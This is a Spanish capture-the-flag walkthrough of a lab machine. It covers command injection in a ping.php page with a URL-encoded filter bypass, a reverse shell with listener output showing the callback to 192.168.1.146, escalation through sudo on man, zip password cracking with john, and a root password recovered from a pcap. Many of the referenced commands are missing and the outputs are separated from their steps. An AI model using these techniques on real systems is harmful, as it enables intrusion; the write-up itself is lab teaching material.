Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzipchocoping.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bashauto_deploy.shchocoping.tar
Info:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
Info:
Veremos que solo hay un puerto 80 en el que tiene alojado un archivo llamado ping.php si intentamos entrar en el veremos el siguiente texto:
Vamos a realizar un poco de fuzzing para ver que parametro puede ser el que pueda enviar la IP.
FFUF
Info:
Vemos que funciona con el parametro ip, por lo que vamos a probar lo siguiente:
Info:
Veremos que ha funcionado, como esto se esta realizando por el protocolo ICMP vamos a probar a dumpear la informacion que estamos recibiendo con la herramienta tcpdump.
Pero no veremos gran cosa, vamos a seguir realizando fuzzing para poder intentar realizar un RCE poniendo ; pero si lo hacemos nos pondra comando no permitido por lo que vamos a probar a codificarlo en URL pero con la herramienta FFUF.
bypasses.txt
Info:
Veremos que en esta linea de aqui:
Pone Words: 11 por lo que sabemos que algo esta poniendo en la pagina, si probamos a utilizar dicho payload:
Info:
Vemos que se esta ejecutando de forma correcta, por lo que vamos a probar a utilizar la misma mecanica, pero para leer el archivo passwd.
Info:
Vemos que se esta volcando de forma correcta, por lo que vamos a realizar un reverse shell.
Vamos a generar el archivo shell.sh con la reverse shell:
shell.sh
Abriremos un servidor de python para que pueda coger el archivo.
Vamos a realizar este comando:
Cambiar la IP (192.168.1.146) por la vuestra, en mi caso quedaria algo asi:
Antes de ejecutarlo nos pondremos a la escucha de la siguiente forma:
Ahora si enviamos ese payload y volvemos a donde tenemos la escucha veremo lo siguiente:
Veremos que ha funcionado, por lo que vamos a sanitizar la shell.
Sanitización de shell (TTY)
Escalate user balutin
Si hacemos sudo -l veremos lo siguiente:
Veremos que podemos ejecutar el binario man como el usuario balutin por lo que podremos hacer lo siguiente:
Info:
Con esto ya seremos dicho usuario.
Escalate Privileges
Si vamos a nuestra home veremos un archivo .zip el cual no podremos descomprimir ya que tiene contraseña, por lo que vamos a pasarnoslo a nuestra maquina host pero la maquina victima no tendra python por lo que tendremos que hacerlo de la siguiente forma:
En la maquina host pondremos lo siguiente:
Ahora enviamos el comando anterior estando a la escucha y veremos esto:
Con esto veremos que ha funcionado de forma correcta y veremos el archivo secretito.zip por lo que vamos a crackear la contraseña de la siguiente forma:
zip2john
Info:
Veremos que ha funcionado y abremos obtenido el .pcap vamos a ver que contiene:
Metemos como contraseña chocolate y veremos que se descomprimio de forma correcta, ahota si intentamos abrir el .pcap con Wireshark veremos que hay archivos corruptos, por lo que vamos a intentar ver los strings de dicho archivo:
Info:
Veremos que contiene la password de root por lo que vamos a probarla en la maquina victima:
Info:
Metemos como contraseña secretitosecretazo! y veremos que funciono, por lo que habremos terminado la maquina.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-11 10:44 CEST
Nmap scan report for 172.17.0.2
Host is up (0.000038s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.62
| http-ls: Volume /
| SIZE TIME FILENAME
| 1.0K 2025-04-05 11:13 ping.php
|_
|_http-title: Index of /
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: Host: 172.17.0.2
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.67 seconds
listening on [any] 7777 ...
connect to [192.168.1.146] from (UNKNOWN) [172.17.0.2] 58866
bash: cannot set terminal process group (25): Inappropriate ioctl for device
bash: no job control in this shell
www-data@b2e08b52d168:/var/www/html$ whoami
whoami
www-data
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Matching Defaults entries for www-data on 2f80b9197745:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User www-data may run the following commands on 2f80b9197745:
(balutin) NOPASSWD: /usr/bin/man
listening on [any] 7755 ...
connect to [192.168.1.146] from (UNKNOWN) [172.17.0.2] 44344
zip2john secretito.zip > hash.zip
john --wordlist=<WORDLIST> hash.zip
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
chocolate (secretito.zip/traffic.pcap)
1g 0:00:00:00 DONE (2025-04-12 03:36) 25.00g/s 102400p/s 102400c/s 102400C/s 123456..oooooo
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
unzip secretito.zip
strings traffic.pcap
POST /login HTTP/1.1
Host: ejemplo.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
username=root&password=secretitosecretazo!
GET /private HTTP/1.1
Authorization: Basic cm9vdDpTdXBlclNlY3JldDEyMyE=
Host: ejemplo.com